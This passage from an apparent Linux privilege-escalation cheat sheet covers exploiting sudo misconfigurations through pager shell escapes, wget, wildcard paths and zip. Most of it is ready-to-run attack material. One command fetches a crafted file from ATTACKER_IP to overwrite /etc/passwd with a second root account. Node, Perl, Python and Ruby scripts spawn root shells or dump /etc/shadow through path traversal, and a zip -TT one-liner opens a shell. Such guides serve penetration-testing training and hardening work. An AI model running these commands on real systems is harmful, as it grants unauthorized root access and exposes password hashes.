When the output appears in the pager, type `!bash` and press Enter. This executes a shell command within the pager's context, effectively giving you a root shell because the pager process inherited the `sudo` user's privileges (root in this case).

Alternatively, if the `less` binary itself is allowed to run as superuser by `sudo`, this can also be directly exploited.

```bash
sudo less /etc/profile
```

When the file is opened in the pager, press `!` and enter a shell command to be executed as root.

***

## Sudo Wget Overwrite Etc/Passwd

First, check if the user can run `wget` as root without a password using `sudo -l`. If allowed (e.g., `(root) NOPASSWD: /usr/bin/wget`), you can exploit this. This method leverages the ability of `wget` to write files to arbitrary locations when combined with `sudo` permissions, specifically targeting the `/etc/passwd` file to create a new root user.

On your attacker machine, generate a password hash for your desired root user using `openssl`. The `-1` flag specifies the MD5 crypt algorithm.

```bash
openssl passwd -1 yourpassword
```

This command will output a hash string.

Create a file (e.g., `passwd_modified`) containing the new root user entry with UID and GID 0, replacing `GENERATED_HASH` with the hash from the previous step. This new entry will grant root privileges to the specified user. Include any essential existing `/etc/passwd` entries to avoid breaking the system, or at least the root entry and your new user. A minimal approach simply adds your new user with root privileges:

```bash
echo "newrootuser:GENERATED_HASH:0:0:New Root User:/root:/bin/bash" > passwd_modified
```

Serve this file over HTTP from your attacker machine. A simple way to do this is using Python's built-in HTTP server module.

```bash
python3 -m http.server 80
```

This command starts an HTTP server listening on port 80 in the current directory, making `passwd_modified` accessible.

On the target machine, use the allowed `sudo` `wget` command to download your modified file and overwrite `/etc/passwd`. The `-O` option tells `wget` to write the downloaded file to the specified path, which is `/etc/passwd` in this case.

```bash
sudo wget http://ATTACKER_IP/passwd_modified -O /etc/passwd
```

Finally, switch to the new root user you created using the password you set:

```bash
su newrootuser
```

You should now be logged in as the `newrootuser` with root privileges.

***

## Sudo Wildcard Path Injection

Exploit a sudo rule allowing execution of scripts with a wildcard in the path (e.g., `/path/*`) when the command is an interpreter by using path traversal (`../`) within the wildcard portion to execute an arbitrary script as the target user.

For example, if a rule like `(ALL) /usr/bin/node /usr/local/scripts/*.js` is permitted, you can create a malicious Node.js script and execute it:

Create a malicious script (e.g., `/tmp/shell.js`):

```javascript
require("child_process").spawn("/bin/sh", {stdio: [0, 1, 2]})
```

Execute it using path traversal within the vulnerable path:

```bash
sudo /usr/bin/node /usr/local/scripts/../../../tmp/shell.js
```

The `../../../` traverses back from `/usr/local/scripts/` to the root directory, allowing the execution of `/tmp/shell.js` via the permitted `/usr/bin/node` command.

This vulnerability arises when a sudo rule permits a command with a wildcard in the path of an argument, especially when that command is an interpreter (like `perl`, `python`, `ruby`, `node`, `php`, `awk`, `sed`, `more`, `less`, `tail`, `head`, `find`, `xargs`, `gdb`, `db`, `ksh`, `bash`, `zsh`, `sh`, `csh`, `tcl`).

For instance, a rule such as:

```bash
user ALL=(ALL) /usr/bin/perl /home/user/scripts/*.pl
```

allows the user to execute any `.pl` script within `/home/user/scripts/` using `perl` as any user. However, due to the wildcard, it also allows path traversal.

To exploit this, one could create a malicious script, say `/tmp/exploit.pl`:

```perl
system("cat /etc/shadow");
```

Then execute it using sudo with path traversal:

```bash
sudo /usr/bin/perl /home/user/scripts/../../../../tmp/exploit.pl
```

This command traverses back from `/home/user/scripts/` to the root directory and executes `/tmp/exploit.pl` using the permitted `perl` interpreter, effectively bypassing the intended restriction to the `/home/user/scripts/` directory.

Another common interpreter is Python. If a sudoers entry permits a rule like:

```bash
user ALL=(ALL) /usr/bin/python /home/user/scripts/*.py
```

A malicious Python script can be created, for example, `/tmp/exploit.py`:

```python
import os
os.system("cat /etc/shadow")
```

This script executes the `cat /etc/shadow` command using Python's `os.system`. The exploit command would then use path traversal:

```bash
sudo /usr/bin/python /home/user/scripts/../../../../tmp/exploit.py
```

Similar to the Perl example, the `../../../../` navigates from `/home/user/scripts/` to the root, allowing the execution of `/tmp/exploit.py` via the authorized `/usr/bin/python` command.

Ruby is another interpreter often found on systems. A vulnerable rule might look like this:

```bash
user ALL=(ALL) /usr/bin/ruby /home/user/scripts/*.rb
```

To exploit this, create a malicious Ruby script, for instance, `/tmp/exploit.rb`:

```ruby
exec "cat /etc/shadow"
```

Then execute it using sudo and path traversal:

```bash
sudo /usr/bin/ruby /home/user/scripts/../../../../tmp/exploit.rb
```

This command leverages the permitted `/usr/bin/ruby` execution to run the script located outside the intended `/home/user/scripts/` directory via the path traversal sequence.

***

## Sudo Zip Misconfiguration Exploit (GTFOBins)

If a user is permitted to run `/usr/bin/zip` via `sudo` with `NOPASSWD`, this can be exploited for privilege escalation using `zip`'s test command functionalities. It can be used to break out from restricted environments by spawning an interactive system shell. The `-T` and `-TT` options can be leveraged to execute arbitrary commands.

Use a temporary filename and the `-T` (test integrity) and `-TT` (command to execute during test) flags to inject a shell command:

```bash
TF=$(mktemp -u); sudo /usr/bin/zip $TF /etc/hosts -T -TT 'sh #'
```

Alternatively, the command might be formatted with quotes:

```bash
TF=$(mktemp -u)
sudo zip "$TF" /etc/hosts -T -TT 'sh #'
```

A simpler example using a fixed path like `/tmp/test.zip` also demonstrates the technique:

```bash
sudo zip /tmp/test.zip /etc/hosts -T -TT ‘sh #’
```
